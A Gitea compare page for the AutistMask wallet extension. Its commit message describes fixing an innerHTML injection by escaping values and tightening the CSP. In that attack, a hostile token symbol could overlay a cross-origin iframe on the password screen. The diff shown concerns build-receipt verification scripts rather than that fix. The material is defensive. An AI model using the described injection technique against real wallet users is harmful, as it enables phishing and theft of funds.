Compare commits

..

1 Commits

Author SHA1 Message Date
ada41bf5e1 fix: render a hostile token symbol as text, and put a floor under the CSP (closes #307)
All checks were successful
check / check (push) Successful in 28s
e2e / e2e-chrome (push) Successful in 1m11s
e2e / e2e-firefox (push) Successful in 22s
A token's symbol is whatever its symbol() returns, the block explorer passes it
through unfiltered, and balanceLine() interpolated it into an innerHTML string.
A token with the 1,000 holders the spam filter asks for, airdropped to the
victim, could therefore paint a full-viewport cross-origin iframe over the
wallet's own UI, on the screens where the user is used to typing their password.

escapeHtml moves to the new src/shared/html.js as a pure string replace over &,
<, >, " and '. The implementation it replaces round-tripped through a detached
element's textContent, which escapes neither quote character, and it was already
in use inside data-copy="..." and would have been inside href="...". Being pure
also makes it testable without a DOM shim.

Every interpolation into an innerHTML string across src/popup/views/ was audited
rather than only the reported one. Also unescaped: the transaction lists'
direction label (the explorer's method name, attacker-chosen for an attacker's
contract), the wallet name and ENS name in the Home wallet list, the URL in the
explorer link's href, the blockie data: URI, and the confirmation screen's
warning line, which carries only fixed strings today but is one wiring change
from carrying scraped explorer text. Explorer URLs are now built by one helper
that percent-encodes the path segment, so a from/to out of explorer JSON cannot
re-point the link. Where a value is a markup fragment this code just built, or a
loop index, or a locally computed number, it stays bare; the rule and the reason
are stated at the top of helpers.js.

Both manifests now declare default-src 'self' with frame-src 'none'. Four
directives had to stay looser than 'self' and none of them generalises:
style-src needs 'unsafe-inline' because the popup sets presentation through
style="..." attributes and Firefox has never implemented style-src-attr; img-src
needs data: for the blockies; connect-src needs https: and http: because the RPC
endpoint is user-configurable and a local node over http://127.0.0.1 is a
supported configuration. frame-src, form-action and base-uri are named rather
than inherited, because the last two do not fall back to default-src at all.
tests/manifest.test.js now pins the whole directive set exactly, in both
directions, and README.md carries the reasoning.

Displayed symbols are capped at 12 characters, the bound lookupTokenInfo()
already applied to a symbol read straight off a contract; the explorer path had
none. The cap is a layout bound and is documented as not being the security
control. isSpoofedSymbol() is untouched: it answers whether a symbol collides
with a known ticker, which is a different question, and repurposing it here
would have been the wrong control.

Verified failing first, four ways. Restricting escapeHtml to & < > (the escape
the old textContent round trip actually performed) fails 5 unit tests including
the data-copy attribute break-out. Removing the length cap fails 3. Dropping
default-src from manifest/chrome.json fails 2. Removing both the escape and the
cap and running the full Chrome suite fails the new browser test with the
attack reproduced: an <iframe id="pwn"> in the popup DOM, intercepting pointer
events over the Back button.
2026-08-20 11:34:41 +00:00
6 changed files with 281 additions and 1118 deletions

View File

@@ -1,4 +1,4 @@
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug vendor-blocklist clean dev .PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev
# Standard targets are thin shims; the implementations live in script/ # Standard targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section # per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -47,27 +47,10 @@ docker:
hooks: hooks:
@script/install-precommit @script/install-precommit
# build.js writes a receipt of everything it emitted — every path, its sha256,
# and whether it is a bundle containing constants.js — and script/verify-build
# checks dist/ against that. The receipt is made here, fresh per invocation,
# outside the repo, and deleted again: a standing file inside dist/ would be
# rewritten by whoever rewrote dist/, which is what made the old check
# satisfiable by a hand-written tree.
#
# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
# from the verifier's environment. The script no longer reads it at all; env -u
# is here so that stays true of anything it calls. It is deliberately NOT
# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
# compiles a debug bundle and then fails on it, loudly, rather than quietly
# handing back something other than the release build that was asked for.
build: build:
@echo "Building extension..." @echo "Building extension..."
@set -eu; \ @yarn run build 2>&1
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \ @script/verify-build
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect release \
--receipt "$$receipt"
@script/check-censored --require-dist @script/check-censored --require-dist
# Development-only build: enables the red DEBUG / INSECURE banner and makes # Development-only build: enables the red DEBUG / INSECURE banner and makes
@@ -75,14 +58,15 @@ build:
# distribute the artifacts this produces. # distribute the artifacts this produces.
build-debug: build-debug:
@echo "Building extension (DEBUG)..." @echo "Building extension (DEBUG)..."
@set -eu; \ @AUTISTMASK_DEBUG=1 yarn run build 2>&1
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \ @AUTISTMASK_DEBUG=1 script/verify-build
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
--receipt "$$receipt"
@script/check-censored --require-dist @script/check-censored --require-dist
# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
# the end of build and build-debug; separate target for re-running it alone.
verify-build:
@script/verify-build
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream. # Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
# Run deliberately, land the diff: the extension does no runtime fetching, so # Run deliberately, land the diff: the extension does no runtime fetching, so
# the shipped list is as fresh as the last vendoring run that was released. # the shipped list is as fresh as the last vendoring run that was released.

View File

@@ -48,57 +48,28 @@ Load the extension:
### Debug Builds ### Debug Builds
`make build` never hands back a debug build. `make build-debug` is the only `make build` always produces a release build: the build-time `DEBUG` constant is
target that produces one: `false`, so wallet creation uses real entropy and the red banner is off. To
produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
```bash ```bash
make build-debug make build-debug # or: AUTISTMASK_DEBUG=1 make build
``` ```
`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value Only the exact value `1` enables it; any other value (including unset, empty, or
`1` does; any other value (including unset, empty, or `true`) yields a release `true`) yields a release build, so a typo cannot accidentally ship the debug
build, so a typo cannot accidentally ship the debug behavior. But it is the behavior. The build prints which mode it used. See the
compiler's input, not the verifier's: if it happens to be exported in the shell
that runs `make build`, that target compiles a debug bundle and then **fails**,
because it tells `script/verify-build` in so many words that it was supposed to
produce a release build. It used to be that the verifier read the same variable
out of its own environment, agreed with itself, and reported a debug artifact as
verified. The build prints which mode it used. See the
[DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never [DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
distribute a debug build** — every wallet it creates gets the same publicly distribute a debug build** — every wallet it creates gets the same publicly
known test recovery phrase. known test recovery phrase.
Both targets end by running `script/verify-build`, which reads the compiled Both builds end by running `script/verify-build`, which reads the compiled
`DEBUG` state back out of the emitted bundles and fails the build if it is not `DEBUG` state back out of the emitted bundles and fails the build if it is not
the one that was asked for. The test suite cannot check this: it loads the one that was asked for. The test suite cannot check this: it loads
`src/shared/constants.js` outside a bundle, so it only ever sees the fallback `src/shared/constants.js` outside a bundle, so it only ever sees the fallback
value. The assertion is on the artifacts because that is where the property value. The assertion is on the artifacts because that is where the property
lives. lives.
### Build Receipts
`build.js` records every file it emits — path, sha256, and whether the file is
one of the bundles containing `src/shared/constants.js` — into a build receipt,
and `script/verify-build` checks `dist/` against that receipt: every recorded
file present with exactly the recorded bytes, every audited bundle carrying the
requested `DEBUG` marker, and nothing under `dist/` that the build did not
write. The `Makefile` creates the receipt path with `mktemp` per invocation,
outside the repo, and deletes it afterwards.
That is what ties the check to a build rather than to a directory. What it
establishes is narrow and worth stating exactly: `dist/` is byte for byte the
output of the `build.js` run that just finished, with nothing added, removed or
altered in between. It establishes nothing about whether the source tree or
`build.js` were honest, and it offers nothing to someone handed a `dist/` from
elsewhere — without the receipt from its own build there is no input to the
check. Verifiable provenance for a third party is signing, which this is not.
There is deliberately no target that re-verifies an existing `dist/` on its own.
The list of files to check has to come from the build that produced them; read
back out of `dist/`, it is the artifact vouching for itself, which is how a
26-byte file containing only the marker string, a hostile content script, and an
entire hand-written `dist/` all used to verify green.
## Entrypoints ## Entrypoints
This repository adheres to the This repository adheres to the
@@ -143,26 +114,20 @@ provide:
serves. Run deliberately, never as part of a build: the output is committed serves. Run deliberately, never as part of a build: the output is committed
and there is no runtime fetch, so the shipped list is as fresh as the last and there is no runtime fetch, so the shipped list is as fresh as the last
vendoring run that was released vendoring run that was released
- `script/verify-build --expect release|debug --receipt PATH` — assert that - `script/verify-build` — assert the compiled `DEBUG` state of the bundles in
`dist/` is exactly what the build that just ran emitted, and that the compiled `dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG`
`DEBUG` state of the bundles in it is the one that was asked for. Both off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of
arguments are required and neither has a default: the expected mode is stated `make build` and `make build-debug`; fails loudly rather than passing if it
by the caller rather than read from `AUTISTMASK_DEBUG`, and the file list cannot determine a bundle's state. Not part of `make check`, which does not
comes from the build's receipt rather than from `dist/` (see depend on build artifacts existing.
[Build Receipts](#build-receipts)). Run automatically at the end of
`make build` and `make build-debug`; fails loudly rather than passing whenever
it cannot determine something. Not part of `make check`, which does not depend
on build artifacts existing.
- `script/test-verify-build` — exercise every failure mode of - `script/test-verify-build` — exercise every failure mode of
`script/verify-build` against a fixture tree in a temp dir, asserting the exit `script/verify-build` against a fixture tree in a temp dir, asserting the exit
status and the message of each, and read the `make build` and status and the message of each. Part of `make check`; it reads no build
`make build-debug` recipes back out of `make -n` to check that they pass the artifacts and writes nothing under `dist/`. The cases that depend on file
mode as an argument on a scrubbed environment. Part of `make check`; it reads permissions cannot mean anything for a process that is not subject to them, so
no build artifacts and writes nothing under `dist/`. The cases that depend on the harness proves its runner against a mode-000 file before counting them,
file permissions cannot mean anything for a process that is not subject to dropping to an unprivileged user when run as root; if it cannot, it skips
them, so the harness proves its runner against a mode-000 file before counting those cases and says so in a banner rather than passing them.
them, dropping to an unprivileged user when run as root; if it cannot, it
skips those cases and says so in a banner rather than passing them.
- `script/docker` — build the Docker image tagged via `script/projectname` - `script/docker` — build the Docker image tagged via `script/projectname`
- `script/cibuild` — CI entrypoint: plain `docker build .` - `script/cibuild` — CI entrypoint: plain `docker build .`
- `script/precommit` — run by the git pre-commit hook; runs `script/check` - `script/precommit` — run by the git pre-commit hook; runs `script/check`
@@ -175,10 +140,9 @@ The Makefile shims to those. It also carries a few targets that have no
of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
silently rewritten. Use `make setup` for a fresh clone. silently rewritten. Use `make setup` for a fresh clone.
- `make hooks` — shims to `script/install-precommit` - `make hooks` — shims to `script/install-precommit`
- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`, - `make build` — build the extension into `dist/chrome/` and `dist/firefox/`
then verify the result against the build's receipt as a release build - `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see
- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a [Debug Builds](#debug-builds))
debug build (see [Debug Builds](#debug-builds))
- `make clean` — remove `dist/` - `make clean` — remove `dist/`
- `make dev` — build in watch mode - `make dev` — build in watch mode

32
TODO.md
View File

@@ -25,8 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
milestone is in flight on `next`; its `next` -> `main` PR is milestone is in flight on `next`; its `next` -> `main` PR is
[#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified [#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to `dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
be exactly what that build emitted with `DEBUG` compiled off. compiled off.
The backlog lives on the The backlog lives on the
[Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is [Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is
@@ -44,34 +44,6 @@ but the review is broader than any of them.
# Completed Steps # Completed Steps
- 2026-08-20: `make build` can no longer hand back a debug build, and
`script/verify-build` can no longer be satisfied by bytes the build did not
produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
environment, so an operator with that exported who ran the release target got
a debug bundle — every wallet it creates carrying the publicly committed test
phrase — certified green at exit 0. The expected mode is now the required
argument `--expect release|debug`, with no default and nothing read from the
environment, and the `Makefile` scrubs the flag from the verifier while
deliberately leaving it reaching the compiler, so that shell fails the build
loudly instead of quietly getting something other than what it asked for.
Provenance was the other half: the check was a marker grep over a file list
read back out of `dist/`, so a 26-byte file containing only
`autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
script that runs on every page were never read at all, and an entire
hand-written `dist/` passed. `build.js` now records every file it emits, with
its sha256 and whether it is one of the bundles containing `constants.js`,
into a receipt whose path the `Makefile` makes fresh per invocation outside
the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
`dist/` is cleared before a build so it holds only what that build wrote. The
standalone `make verify-build` target went with it: re-verifying a `dist/`
from the `dist/` itself is the thing that was broken. What this establishes is
narrow and stated as such in README.md — `dist/` is byte for byte the output
of the `build.js` run that just finished — and it is not signing, which is
[#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
`script/test-verify-build` grew from 18 cases to 39, including one per
demonstrated bypass and the `make -n` read-back that proves the recipes pass
the mode as an argument.
- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the - 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
symbol is whatever the contract's `symbol()` returns, the block explorer symbol is whatever the contract's `symbol()` returns, the block explorer

175
build.js
View File

@@ -1,6 +1,5 @@
const fs = require("fs"); const fs = require("fs");
const path = require("path"); const path = require("path");
const crypto = require("crypto");
const { execSync } = require("child_process"); const { execSync } = require("child_process");
const esbuild = require("esbuild"); const esbuild = require("esbuild");
@@ -9,29 +8,12 @@ const DIST_CHROME = path.join(DIST, "chrome");
const DIST_FIREFOX = path.join(DIST, "firefox"); const DIST_FIREFOX = path.join(DIST, "firefox");
const SRC = path.join(__dirname, "src"); const SRC = path.join(__dirname, "src");
// The module whose compiled DEBUG state script/verify-build asserts. Which // The module whose compiled DEBUG state script/verify-build asserts, and the
// bundles contain it is derived from esbuild's own dependency graph rather // manifest naming every emitted bundle that ends up containing it. The
// than from a hardcoded list, so it tracks the bundle layout instead of // manifest is derived from esbuild's own dependency graph rather than from a
// rotting with it. // hardcoded list, so it tracks the bundle layout instead of rotting with it.
const AUDITED_MODULE = "src/shared/constants.js"; const AUDITED_MODULE = "src/shared/constants.js";
const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
// The build receipt: every file this build emits, with its sha256 and whether
// it is one of the audited bundles. script/verify-build is handed this and
// checks dist/ against it, so the file list comes from the build that just ran
// rather than being read back out of the tree it is supposed to vouch for.
//
// The path is supplied by the caller, not chosen here, and the Makefile makes
// a fresh one per invocation outside the repo: that is what ties a receipt to
// one build rather than leaving a standing file anyone can write.
const RECEIPT_HEADER = "autistmask-build-receipt v1";
const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
// Every emitted path must be plainly nameable, because the receipt is a
// line-oriented text file consumed by a POSIX shell script and a path with a
// space or a newline in it could not be read back unambiguously. Nothing this
// build emits looks like that; if that ever changes, the build fails here
// rather than writing a receipt that cannot be checked.
const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
function ensureDir(dir) { function ensureDir(dir) {
fs.mkdirSync(dir, { recursive: true }); fs.mkdirSync(dir, { recursive: true });
@@ -49,10 +31,10 @@ function repoRelative(p) {
// searching the minified text, it does not depend on what survived minification. // searching the minified text, it does not depend on what survived minification.
// //
// The ".js" filter below is the only place that assumption lives: // The ".js" filter below is the only place that assumption lives:
// script/verify-build reads every file the receipt names, whatever its // script/verify-build searches every file and symlink under dist/ for a
// extension, and fails on any that carries a debug marker without being // marker, without filtering by extension, and hard-fails if it cannot walk the
// recorded as an audited bundle — so a bundle emitted under some other // whole tree, so a bundle emitted under some other extension fails there as
// extension fails there rather than escaping both checks at once. // unlisted rather than escaping both checks at once.
function outputsContainingAuditedModule(metafile) { function outputsContainingAuditedModule(metafile) {
return Object.entries(metafile.outputs) return Object.entries(metafile.outputs)
.filter(([outFile, info]) => { .filter(([outFile, info]) => {
@@ -64,94 +46,6 @@ function outputsContainingAuditedModule(metafile) {
.map(([outFile]) => repoRelative(outFile)); .map(([outFile]) => repoRelative(outFile));
} }
// Every file this build writes under dist/, recorded as it is written. This is
// the build's own account of what it emitted; it is never recovered by
// listing dist/, because a file that is in dist/ without this build having put
// it there is exactly what the receipt exists to expose.
const emittedFiles = [];
function recordEmitted(absPath) {
emittedFiles.push(absPath);
}
// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
// CLI record their outputs where they are invoked.
function copyEmitted(src, dest) {
fs.copyFileSync(src, dest);
recordEmitted(dest);
}
function sha256File(absPath) {
return crypto
.createHash("sha256")
.update(fs.readFileSync(absPath))
.digest("hex");
}
// Write the receipt for the files this build emitted. Deliberately records no
// build mode: which mode was asked for is script/verify-build's argument, so
// build.js cannot vouch for build.js. All the receipt says is "these bytes,
// under these names, are what I wrote, and these ones bundle constants.js".
function writeReceipt(receiptPath, auditedBundles) {
const audited = new Set(auditedBundles);
const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
for (const p of paths) {
if (!SAFE_EMITTED_PATH.test(p)) {
throw new Error(
`emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
);
}
}
// A bundle esbuild reported but that nothing recorded as emitted means the
// two halves have drifted apart, and the receipt would then leave an
// audited bundle out. Fail rather than emit a short receipt.
for (const bundle of audited) {
if (!paths.includes(bundle)) {
throw new Error(
`${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
);
}
}
if (audited.size === 0) {
throw new Error(
`no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
);
}
const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
for (const p of paths) {
const flag = audited.has(p) ? "A" : "P";
lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
}
fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
console.log(
`Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
`containing ${AUDITED_MODULE} (${receiptPath})`,
);
}
// Where the receipt goes, decided before anything is emitted so a build that
// cannot produce a checkable receipt fails before it writes any artifacts.
// Inside dist/ is refused: a receipt that lives in the tree it describes can
// be rewritten by whoever rewrites the tree, which is the hole this replaces.
function receiptTarget() {
const requested = process.env[RECEIPT_ENV];
if (!requested) {
return null;
}
const resolved = path.resolve(requested);
if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
throw new Error(
`${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
`describes dist/ and must not live in it.`,
);
}
return resolved;
}
// DEBUG is a build-time flag, off unless explicitly requested. It is the only // DEBUG is a build-time flag, off unless explicitly requested. It is the only
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be // thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
// exact: anything other than the literal "1" (unset, empty, "true", a typo) // exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -193,15 +87,6 @@ function getBuildInfo() {
async function build() { async function build() {
console.log("Building AutistMask extension..."); console.log("Building AutistMask extension...");
const receiptPath = receiptTarget();
if (!receiptPath) {
console.warn(
`WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
`receipt and script/verify-build cannot verify what it ` +
`emitted. Build through make build / make build-debug.`,
);
}
const buildInfo = getBuildInfo(); const buildInfo = getBuildInfo();
console.log("Build info:", buildInfo); console.log("Build info:", buildInfo);
@@ -223,21 +108,19 @@ async function build() {
}; };
// Emitted bundles that contain constants.js, accumulated across every // Emitted bundles that contain constants.js, accumulated across every
// esbuild run below and recorded in the receipt for script/verify-build. // esbuild run below and written out for script/verify-build.
const auditedBundles = []; const auditedBundles = [];
// compile tailwind CSS // compile tailwind CSS
console.log("Compiling Tailwind CSS..."); console.log("Compiling Tailwind CSS...");
const tailwindInput = path.join(SRC, "popup", "styles", "main.css"); const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
const tailwindOutput = path.join(DIST, "styles.css"); const tailwindOutput = path.join(DIST, "styles.css");
// Start from an empty dist/, so what is there afterwards is what this
// build put there and nothing else. Leftovers from an earlier build are
// not covered by this build's receipt, and script/verify-build rejects
// any file it did not emit rather than ignoring it.
fs.rmSync(DIST, { recursive: true, force: true });
ensureDir(DIST); ensureDir(DIST);
// Drop any manifest from a previous build before emitting anything, so a
// build that never gets around to writing one cannot be verified against
// a stale list.
fs.rmSync(BUNDLE_MANIFEST, { force: true });
// The locally installed binary, not `npx` — npx silently fetches from the // The locally installed binary, not `npx` — npx silently fetches from the
// registry when the binary is absent, which is an unpinned network fetch // registry when the binary is absent, which is an unpinned network fetch
// in the middle of a build. // in the middle of a build.
@@ -251,7 +134,6 @@ async function build() {
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`, `"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
{ stdio: "inherit" }, { stdio: "inherit" },
); );
recordEmitted(tailwindOutput);
// Every bundle goes through here, so metafile collection cannot be // Every bundle goes through here, so metafile collection cannot be
// forgotten when a new entry point is added. // forgotten when a new entry point is added.
@@ -267,7 +149,6 @@ async function build() {
metafile: true, metafile: true,
define, define,
}); });
recordEmitted(outfile);
auditedBundles.push(...outputsContainingAuditedModule(result.metafile)); auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
} }
@@ -301,39 +182,39 @@ async function build() {
); );
// copy popup HTML // copy popup HTML
copyEmitted( fs.copyFileSync(
path.join(SRC, "popup", "index.html"), path.join(SRC, "popup", "index.html"),
path.join(distDir, "src", "popup", "index.html"), path.join(distDir, "src", "popup", "index.html"),
); );
// place compiled CSS next to popup HTML // place compiled CSS next to popup HTML
copyEmitted( fs.copyFileSync(
tailwindOutput, tailwindOutput,
path.join(distDir, "src", "popup", "styles.css"), path.join(distDir, "src", "popup", "styles.css"),
); );
} }
// copy manifests // copy manifests
copyEmitted( fs.copyFileSync(
path.join(__dirname, "manifest", "chrome.json"), path.join(__dirname, "manifest", "chrome.json"),
path.join(DIST_CHROME, "manifest.json"), path.join(DIST_CHROME, "manifest.json"),
); );
copyEmitted( fs.copyFileSync(
path.join(__dirname, "manifest", "firefox.json"), path.join(__dirname, "manifest", "firefox.json"),
path.join(DIST_FIREFOX, "manifest.json"), path.join(DIST_FIREFOX, "manifest.json"),
); );
// Written last so a build that died partway through leaves no receipt at // Written last so a build that died partway through leaves no manifest
// all, which script/verify-build treats as a hard failure rather than as // at all, which script/verify-build treats as a hard failure rather than
// "nothing to check". // as "nothing to check".
if (receiptPath) { const manifest = [...new Set(auditedBundles)].sort();
writeReceipt(receiptPath, auditedBundles); fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
} console.log(
`Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
`(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
);
console.log("Build complete: dist/chrome/ and dist/firefox/"); console.log("Build complete: dist/chrome/ and dist/firefox/");
} }
build().catch((err) => { build();
console.error(`Build failed: ${err && err.message ? err.message : err}`);
process.exit(1);
});

View File

@@ -3,13 +3,11 @@
# script/verify-build. Our own extension to scripts-to-rule-them-all, run # script/verify-build. Our own extension to scripts-to-rule-them-all, run
# from script/check so make check covers it. # from script/check so make check covers it.
# #
# Why this exists: verify-build is the build-integrity guard, and four separate # Why this exists: verify-build is the build-integrity guard, and three
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation, # separate reviews of it each found a fresh vacuous pass — the grep exit-2
# the discarded find status, the line-delimited walk, and then the two the # conflation, the discarded find status, the line-delimited walk. Every one
# receipt replaced: an expectation read out of the verifier's own environment, # was caught by someone building a tree by hand, because nothing in make check
# and a file list read back out of the tree it was supposed to vouch for. Every # could catch it. This is that hand battery, committed and automated.
# one was caught by someone building a tree by hand, because nothing in make
# check could catch it. This is that hand battery, committed and automated.
# #
# Each case asserts the exit status AND a substring of the message. A guard # Each case asserts the exit status AND a substring of the message. A guard
# that fails for the wrong reason (right status, different fault) is itself a # that fails for the wrong reason (right status, different fault) is itself a
@@ -19,14 +17,7 @@
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it # the real script: verify-build takes its ROOT from dirname "$0"/.., so it
# operates on the fixture's dist/ and never reads or writes the repo's build # operates on the fixture's dist/ and never reads or writes the repo's build
# output. The symlink rather than a copy is what makes a deliberate break in # output. The symlink rather than a copy is what makes a deliberate break in
# the real script fail here. The fixture's receipt is written from the bytes # the real script fail here.
# the fixture actually holds, exactly as a build writes one from the bytes it
# emitted; a case that means "the build emitted this" regenerates it, and a
# case that means "something changed dist/ afterwards" does not.
#
# The sha256 command is selected here independently of the one verify-build
# picks. That is deliberate: a harness that reused the implementation's helper
# would agree with it even when it is wrong.
set -eu set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
@@ -35,8 +26,6 @@ VERIFY_BUILD="$ROOT/script/verify-build"
MARKER_ON="autistmask-build-debug=on" MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off" MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1"
NEWLINE=' NEWLINE='
' '
@@ -52,9 +41,6 @@ UNPRIV=""
PERM_ENABLED=no PERM_ENABLED=no
PERM_HOW="" PERM_HOW=""
# The sha256 command, chosen by pick_sha256_tool.
SHA256_CMD=""
WORK="" WORK=""
cleanup() { cleanup() {
@@ -68,10 +54,6 @@ trap cleanup EXIT INT TERM
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")" WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
FIXTURE="$WORK/fixture" FIXTURE="$WORK/fixture"
# The build receipt for the fixture, kept outside the fixture's dist/ — and
# outside the fixture altogether — because that is where a real one lives.
RECEIPT="$WORK/receipt"
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside # verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
# our work dir keeps the run leaving no residue, and keeps it writable for the # our work dir keeps the run leaving no residue, and keeps it writable for the
# unprivileged user the permission cases run as. # unprivileged user the permission cases run as.
@@ -83,67 +65,15 @@ chmod 755 "$WORK"
# --- fixture --------------------------------------------------------------- # --- fixture ---------------------------------------------------------------
# The emitted tree a build of this repo produces in miniature: audited bundles
# (A) that must carry a marker, and plain emitted files (P) that must not —
# including the content script, which runs on every page, and the manifest,
# neither of which the pre-receipt verifier read at all.
FIXTURE_FILES="A dist/chrome/src/popup/index.js
A dist/firefox/src/popup/index.js
P dist/chrome/src/content/index.js
P dist/chrome/manifest.json
P dist/styles.css"
FIXTURE_REAL=""
# A stand-in for an emitted bundle: some text plus one marker literal, which # A stand-in for an emitted bundle: some text plus one marker literal, which
# is all verify-build reads out of the real thing beyond its digest. # is all verify-build reads out of the real thing.
write_bundle() { write_bundle() {
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1" printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
} }
# Digest of $1, taken with the harness's own sha256 command. # A dist/ shaped like a real build: two listed bundles under different
fixture_sha256() { # browsers, an unlisted subtree to make unwalkable, and unlisted files that
# Word-split on purpose: SHA256_CMD is a command with its arguments. # carry no marker and must not be objected to.
# shellcheck disable=SC2086
_fs_out="$($SHA256_CMD "$1")"
printf '%s' "${_fs_out%% *}"
}
# Write the fixture's receipt, with a substitutable header and root line so the
# cases can hand verify-build a receipt that is not one.
write_receipt_custom() {
_wrc_header="$1"
_wrc_root="$2"
chmod u+rw "$RECEIPT" 2>/dev/null || true
rm -f "$RECEIPT"
(
cd "$FIXTURE"
printf '%s\n' "$_wrc_header"
printf 'root %s\n' "$_wrc_root"
_saved_ifs="$IFS"
IFS="$NEWLINE"
for _entry in $FIXTURE_FILES; do
IFS="$_saved_ifs"
_flag="${_entry%% *}"
_path="${_entry#* }"
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
"$_flag" "$_path"
IFS="$NEWLINE"
done
IFS="$_saved_ifs"
) >"$RECEIPT"
# Readable by the unprivileged user the permission cases run as, whatever
# umask this process has, until a case takes that away on purpose.
chmod 644 "$RECEIPT"
}
write_receipt() {
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
}
build_fixture() { build_fixture() {
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
rm -rf "$FIXTURE" rm -rf "$FIXTURE"
@@ -157,12 +87,13 @@ build_fixture() {
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF" write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF" write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
